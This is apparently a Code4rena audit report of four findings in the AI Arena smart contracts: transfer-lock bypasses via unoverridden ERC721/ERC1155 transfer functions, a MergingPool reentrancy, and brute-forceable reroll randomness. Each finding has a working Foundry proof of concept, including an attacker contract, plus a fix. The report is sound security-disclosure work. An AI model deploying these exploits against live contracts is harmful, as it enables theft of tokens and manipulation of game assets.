AI Arena - 0xLogos's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L486

Vulnerability details

Impact

Important protocl invariant violated. This causes battle points accounting issues for mappings that use fighter owner, for example here or here underflow is possible.

Proof of Concept

Contract overrides transferFrom andsafeTransferFrom(address, address, uint) function and adds check that reverts execution if NFT staked. But safeTransferFrom(address, address, uint, bytes) is not overriden and hence can be used to freely transfer fighter.

// FighterFarmTest.t.sol
function test_poc3() public {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    // mint fighter with index 0 to alice 
    _mintFromMergingPool(alice);

    // lock staked fighter
    _fighterFarmContract.addStaker(address(this));
    _fighterFarmContract.updateFighterStaking(0, true);

    vm.startPrank(alice);

    // transferFrom and safeTransferFrom are correctly not working
    vm.expectRevert();
    _fighterFarmContract.transferFrom(alice, bob, 0);
    vm.expectRevert();
    _fighterFarmContract.safeTransferFrom(alice, bob, 0);

    // but safeTransferFrom with custom data still works
    _fighterFarmContract.safeTransferFrom(alice, bob, 0, "");
    assertEq(_fighterFarmContract.ownerOf(0), bob);
}

Tools Used

foundry, manual review

Recommended Mitigation Steps

It's recommended to override safeTransferFrom(address, address, uint, bytes) in the same way.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291

Vulnerability details

Impact

Non-transferable Game Items can be transferred. This breaks core functionality. For example, it makes sense to set dailyAllowance > 0 and transferable = false otherwise allowance can be abused by using multiple accounts and then transferred to one. But with this vulnerability allowance abuse is still possible.

Proof of Concept

To enforce transferable rule, safeTransferFrom is overriden, but not safeBatchTransferFrom which can be used to bypass rule.

// GameItemsTest.t.sol
function test_poc2() public {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    // disable transferability
    _gameItemsContract.adjustTransferability(0, false);

    // mint game item to alice
    _fundUserWith4kNeuronByTreasury(alice);
    vm.startPrank(alice);
    _gameItemsContract.mint(0, 1);

    // safeTransferFrom correctly reverting
    vm.expectRevert();
    _gameItemsContract.safeTransferFrom(alice, bob, 0, 1, "");

    // but safeBatchTransferFrom still works
    uint[] memory ids = new uint[](1); ids[0] = 0;
    uint[] memory amounts = new uint[](1); amounts[0] = 1;
    _gameItemsContract.safeBatchTransferFrom(alice, bob, ids, amounts, "");
    assertEq(_gameItemsContract.balanceOf(bob, 0), 1);
    assertEq(_gameItemsContract.balanceOf(alice, 0), 0);
}

Tools Used

foundry, manual review

Recommended Mitigation Steps

It's recommended to override safeBatchTransferFrom in the same way.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

Any user can claim more fighters than he is eligible to if he wins at least 2 rounds in MergingPool.

Proof of Concept

When a user is claiming rewards in MergingPool, function iterates over all rounds not yet claimed by user and searches for user owned fighter amoung the winners. For each such match, new fighter NFT is minted.

for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }

FighterFarm#mintFromMergingPool calls to _createNewFighter internal function which at the end mints NFT to user with callback if receiver is contract using _safeMint.

Let's now assume that the attacker has 1 winning NFT in numRoundsClaimed[msg.sender] and 1 in numRoundsClaimed[msg.sender] + 1. Then attacker can reenter claimRewards in the callback after minting first NFT for numRoundsClaimed[msg.sender] round. Notice that numRoundsClaimed[msg.sender] increased by one before minting in the loop. But since the attacker is eligible for NFT in numRoundsClaimed[msg.sender] + 1, he claims a second FNT and ends the callback. Execution flow returns back to cycle in claimRewards and nothing stops it from executing mint for attacker in next round as if there was no callback. Thus attacker receives 3 NFT instead of 2.

Note that numRoundsClaimed is also increased 3 times for attacker so he can't claim in the next round.

Here's the coded PoC for described scenario

contract MergingPoolAttacker {
    MergingPool pool;
    string[] strings;
    uint256[2][] attrs;

    constructor(MergingPool _pool) {
        pool = _pool;
        strings.push();
        strings.push();
        attrs.push();
        attrs.push();
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        pool.claimRewards(strings, strings, attrs);
        return IERC721Receiver.onERC721Received.selector;
    }

    function attack() external {
        pool.claimRewards(strings, strings, attrs);
    }
}

// In the MergingPoolTest.t.sol
function test_poc1() public {
    MergingPoolAttacker attacker = new MergingPoolAttacker(_mergingPoolContract);

    _mintFromMergingPool(address(attacker));
    _mintFromMergingPool(address(attacker));

    _mergingPoolContract.updateWinnersPerPeriod(1);
    uint256[] memory _winners = new uint256[](1);
    _winners[0] = 0;
    _mergingPoolContract.pickWinner(_winners);
    _winners[0] = 1;
    _mergingPoolContract.pickWinner(_winners);

    attacker.attack();

    assertEq(_fighterFarmContract.balanceOf(address(attacker)), 5);
    assertEq(_mergingPoolContract.numRoundsClaimed(address(attacker)), 3);
}

Recommended Mitigation Steps

Obvious solution would be to use ReentrancyGuard from openzeppelin.

But I want to suggest a more elegant solution - instead of incrimenting numRoundsClaimed on each iteration, move it before the loop and set it right away to final value.

+ numRoundsClaimed[msg.sender] = uint32(roundId);
for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
- numRoundsClaimed[msg.sender] += 1;

It will prevent reentrancy and also save additional gas.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379

Vulnerability details

Impact

Fighter owner can abuse reroll to get desired stats.

Proof of Concept

In reRoll new pseudo random dna calculated as follows.

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

Fighter owner can easily predict outcome by doing the same calculation. It not only can be predicted, but also manipulated since msg.sender included in the hash. Attacker can bruteforce desired stats by creating a lot of EOAs and placing them instead of msg.sender. Once EOA that produces desired outcome found, attacker can transfer Fighter to it and execute reRoll from it.

// FighterFarmTest.t.sol
// forge test --mt poc4 -vvv --fuzz-runs 100000
function test_poc4(address bruteforce) public {
    vm.assume(bruteforce.code.length == 0);

    _mintFromMergingPool(bruteforce);
    _fundUserWith4kNeuronByTreasury(bruteforce);
    _neuronContract.addSpender(address(_fighterFarmContract));

    vm.prank(bruteforce);
    _fighterFarmContract.reRoll(0, 0);

    (,,uint weight,,,,) = _fighterFarmContract.getAllFighterInfo(0);
    // reroll from 0xC3C4A80d0355823e4B94Db11bFA7B00a86044A4D
    // results in weight = 69 (test fails if desired address found)
    // same can be done for other attributes
    assertNotEq(weight, 69); 
}

Tools Used

foundry, manual review

Recommended Mitigation Steps

It's recommended to exclude msg.sender from hash. Thus the outcome will be impossible to manipulate.

Assessed type

Other